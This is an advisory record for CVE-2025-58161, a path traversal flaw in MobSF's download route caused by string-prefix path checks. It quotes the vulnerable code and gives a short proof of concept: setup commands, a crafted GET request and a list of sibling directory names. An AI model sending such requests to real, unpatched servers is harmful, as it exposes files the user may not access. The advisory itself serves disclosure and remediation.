{"id":"CVE-2025-58161","aliases":["GHSA-ccc3-fvfx-mw3v","PYSEC-2026-1672"],"title":"MobSF Path Traversal in GET /download/<filename> using absolute filenames","summary":"MobSF Path Traversal in GET /download/<filename> using absolute filenames","severity":"low","vendor":"mobsf","product":"mobsf","ecosystem":"pip","affected":["mobsf < 4.4.1"],"patched":["mobsf 4.4.1"],"published":"2025-09-02","updated":"2026-07-07","source":"OSV","sourceUrl":"https://osv.dev/vulnerability/GHSA-ccc3-fvfx-mw3v","references":[{"url":"https://github.com/MobSF/Mobile-Security-Framework-MobSF/security/advisories/GHSA-ccc3-fvfx-mw3v"},{"url":"https://github.com/MobSF/Mobile-Security-Framework-MobSF/commit/7f3bc086c028c1b50889cab8a15f7b59b7abdaf9"},{"url":"https://github.com/MobSF/Mobile-Security-Framework-MobSF"},{"url":"https://github.com/MobSF/Mobile-Security-Framework-MobSF/releases/tag/v4.4.1"}],"tags":["osv","pip"],"epss":0.00765,"epssPercentile":0.53487,"ingestedAt":"2026-07-08T18:25:48.347Z","slug":"CVE-2025-58161","body":"## Overview\n\n### Summary\nThe GET /download/<filename> route uses string path verification via os.path.commonprefix, which allows an authenticated user to download files outside the DWD_DIR download directory from \"neighboring\" directories whose absolute paths begin with the same prefix as DWD_DIR (e.g., .../downloads_bak, .../downloads.old). This is a Directory Traversal (escape) leading to a data leak.\n\n### Details\n```\ndef is_safe_path(safe_root, check_path):\n    safe_root  = os.path.realpath(os.path.normpath(safe_root))\n    check_path = os.path.realpath(os.path.normpath(check_path))\n    return os.path.commonprefix([check_path, safe_root]) == safe_root\n```\ncommonprefix compares raw strings, not path components. For:\n```\nsafe_root  = /home/mobsf/.MobSF/downloads\ncheck_path = /home/mobsf/.MobSF/downloads_bak/test.txt\n```\nthe function returns True, incorrectly treating downloads_bak as inside downloads.\nDownload handler:\n```\n# MobSF/views/home.py\n@login_required\ndef download(request):\n    root = settings.DWD_DIR\n    filename = request.path.replace('/download/', '', 1)\n    dwd_file = Path(root) / filename  # absolute 'filename' ignores 'root'\n    if '../' in filename or not is_safe_path(root, dwd_file):\n        return HttpResponseForbidden(...)\n    ext = dwd_file.suffix\n    if ext in settings.ALLOWED_EXTENSIONS and dwd_file.is_file():\n        return file_download(dwd_file, ...)\n```\nIf the client supplies an absolute path in filename (starts with / or C:/), Path(root) / filename resolves to that absolute path; the flawed is_safe_path then accepts any sibling directory whose absolute path shares the same string prefix. The ../ check does not catch this.\n\nWhich file types are retrievable: Whatever is allowed by settings.ALLOWED_EXTENSIONS\n\n### PoC\nPrereqs: authenticated user; standard install.\nAssume:\n```\nsettings.DWD_DIR = /home/mobsf/.MobSF/downloads\n```\nPrepare a sibling directory with the same string prefix and a test file:\n```\nmkdir -p /home/mobsf/.MobSF/downloads_bak\necho \"test\" > /home/mobsf/.MobSF/downloads_bak/test.txt\n```\nAs an authenticated user, request (note the leading / in the filename and the double/triple slash after /download/ to preserve it):\n```\nGET /download///home/mobsf/.MobSF/downloads_bak/test.txt HTTP/1.1\nHost: <HOST>\nCookie: sessionid=<YOUR_SESSION>\n```\nOther working sibling directory names (if present):\n```\n…/downloads.old/...\n…/downloads_backup/...\n…/downloads1/...\n…/downloads-archive/...\n…/downloads 2024/... (URL-encoded space: downloads%202024)\n```\n### Impact\nAny authenticated user can download files (with allowed extensions) from sibling directories whose absolute paths start with the same string prefix as DWD_DIR.\n\n## Affected packages\n\n- `mobsf < 4.4.1`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `mobsf 4.4.1`","depth":"sunlit","depthScore":14,"depthScoreParts":{"impact":13.8,"likelihood":0.2,"exploitation":0,"ransomware":0},"changes":[]}